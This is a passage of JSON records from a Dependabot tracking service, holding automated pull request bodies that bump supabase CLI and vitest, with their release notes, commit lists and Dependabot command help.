href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7089\"\u003e#7089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStack creates the \u003ccode\u003esupabase_functions\u003c/code\u003e database on the stack backend.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7029\"\u003e#7029\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efunctions serve\u003c/code\u003e overrides apply after the stack has started.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7028\"\u003e#7028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNative Postgres trusts your host CA bundle\u003c/strong\u003e, so connections through corporate or custom certificates work. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7023\"\u003e#7023\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAuth database and stack host connections stay alive\u003c/strong\u003e instead of dropping mid-session. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7080\"\u003e#7080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGateway writes no longer fail under load\u003c/strong\u003e, because they reuse keep-alive connections. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7075\"\u003e#7075\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6981\"\u003e#6981\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eContainers whose host port was taken before start are recreated\u003c/strong\u003e rather than failing to start. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7081\"\u003e#7081\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDatabase helpers are removed when their owner exits\u003c/strong\u003e, so they stop leaking between runs. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7014\"\u003e#7014\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6962\"\u003e#6962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRunning dependents restart when a prerequisite crashes\u003c/strong\u003e, so the stack recovers without a manual restart. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7093\"\u003e#7093\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003epg_cron\u003c/code\u003e jobs run in background workers\u003c/strong\u003e on native Postgres. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7039\"\u003e#7039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDatabase helpers are created by name before they're attached to.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7068\"\u003e#7068\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003esupabase stop\u003c/code\u003e waits for a concurrent Docker prune\u003c/strong\u003e instead of failing. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7143\"\u003e#7143\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7129\"\u003e#7129\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConfig accepts the new Management API Postgres settings\u003c/strong\u003e, so they no longer get rejected. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7056\"\u003e#7056\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7054\"\u003e#7054\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6934\"\u003e#6934\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003ePlus 1 internal improvement and dependency update.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull changelog:\u003c/strong\u003e \u003ca href=\"https://github.com/supabase/cli/compare/v2.120.0...v2.121.0\"\u003ehttps://github.com/supabase/cli/compare/v2.120.0...v2.121.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.121.0-next.2\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/8a549dffa6bc5c88069c61c1f55ef55ad9b82ae2\"\u003e\u003ccode\u003e8a549df\u003c/code\u003e\u003c/a\u003e fix(cli): warn that deprecated config, env vars and import maps are removed i...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/d47510fbd9cf0537020256dee5090a8247e6793b\"\u003e\u003ccode\u003ed47510f\u003c/code\u003e\u003c/a\u003e ci: speed up tests with sticky disks, parallel e2e and on-demand Windows and ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/d68f6d098f8e65a6f2909087fa443bae284eb405\"\u003e\u003ccode\u003ed68f6d0\u003c/code\u003e\u003c/a\u003e fix(cli): wait for a concurrent Docker prune in stop (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7143\"\u003e#7143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/ddb5c6e76dbf24457a10337edbd511a76d78a3e8\"\u003e\u003ccode\u003eddb5c6e\u003c/code\u003e\u003c/a\u003e chore(stack): bump storage to v1.82.1-r0 (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7153\"\u003e#7153\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/2930f6d069ef8cb71f4eeecb495fb18f44a8a765\"\u003e\u003ccode\u003e2930f6d\u003c/code\u003e\u003c/a\u003e docs(cli): port pg-delta reference fixes into db diff and db pull overlays (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/45376daef5a9101a25e425f54054b89d6bdf3a5a\"\u003e\u003ccode\u003e45376da\u003c/code\u003e\u003c/a\u003e fix(cli): name the failing platform operation in defect telemetry (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7137\"\u003e#7137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/cb2985f8de8e385378566b09c8d78ebbdef7b64c\"\u003e\u003ccode\u003ecb2985f\u003c/code\u003e\u003c/a\u003e chore(cli): map db dump, pull, diff and declarative command permissions (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7136\"\u003e#7136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/28dad9c763b2ea3f61439acc0f09b0fa5131a7c1\"\u003e\u003ccode\u003e28dad9c\u003c/code\u003e\u003c/a\u003e chore(stack): bump storage to v1.82.0-r0 (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7140\"\u003e#7140\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/87e47b5effbd1b6743aa6349fcf5f3992eb02125\"\u003e\u003ccode\u003e87e47b5\u003c/code\u003e\u003c/a\u003e chore(cli): map db lint, push, reset and related command permissions (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7135\"\u003e#7135\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/9af6852163a091448c49580570a2c424f250b550\"\u003e\u003ccode\u003e9af6852\u003c/code\u003e\u003c/a\u003e chore(cli): bring the remaining commands under the effect skill (CLI-2693) (#...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/supabase/cli/commits/v2.121.0/apps/cli\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/TESIIITM/TES-Website/pull/85","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/TESIIITM%2FTES-Website/issues/85","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/85/packages"},{"uuid":"6008707274","node_id":"PR_kwDOHiBxYs8AAAABKYtvfg","number":352,"state":"open","title":"chore(dev-deps): bump vitest from 5.0.3 to 5.0.5","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T03:03:12.000Z","updated_at":"2026-10-24T03:04:18.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(dev-deps)","packages":[{"name":"vitest","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) from 5.0.3 to 5.0.5.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted 